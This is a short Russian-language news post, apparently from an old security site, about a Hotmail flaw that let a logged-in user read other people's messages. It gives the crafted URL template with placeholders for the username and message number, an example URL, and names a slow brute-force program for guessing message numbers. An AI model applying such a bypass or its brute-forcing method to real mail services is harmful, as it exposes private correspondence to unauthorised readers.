• Партнер

  • Еще одна реальная, но трудно используемая
    дыра найдена в Hotmail. Зайдя на свой ящик, по
    идее можно просматривать сообщения любого
    другого. Для этого “всего лишь” нужно
    угадать номер сообщения и знать имя
    пользователя. Адрес для чтения писем таков:

    http://pv2fd.pav2.hotmail.msn.com/cgi-bin/saferd? _lang=EN&hm___tg=http%3a%2f%2f64%2e4%2e36%
    2e250%2fcgi%2dbin%2fgetmsg&hm___
    qs=%26msg%3dMSGXXXXXXXXX% 2e(X)X%26start%3
    d1%26len%3d99999999999%26login% 3dUSERNAME%26domain%3dhotmail%2ecom

    USERNAME – имя пользователя
    XXXXXXXXX – номер сообщения
    (X)X – второй номер между 1 и 59 (вероятно)

    Например:

    http://lw2fd.hotmail.msn.com/cgi-bin/getmsg? curmbox=F000000001&a=
    5691b2b44e104176111971aa0fbb1274&m sg=MSG998000947.3&start=197078&len=
    1060&msgread=1&mfs=182

    Программа для перебора номеров (работает
    медленно): hobo04r2.zip

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии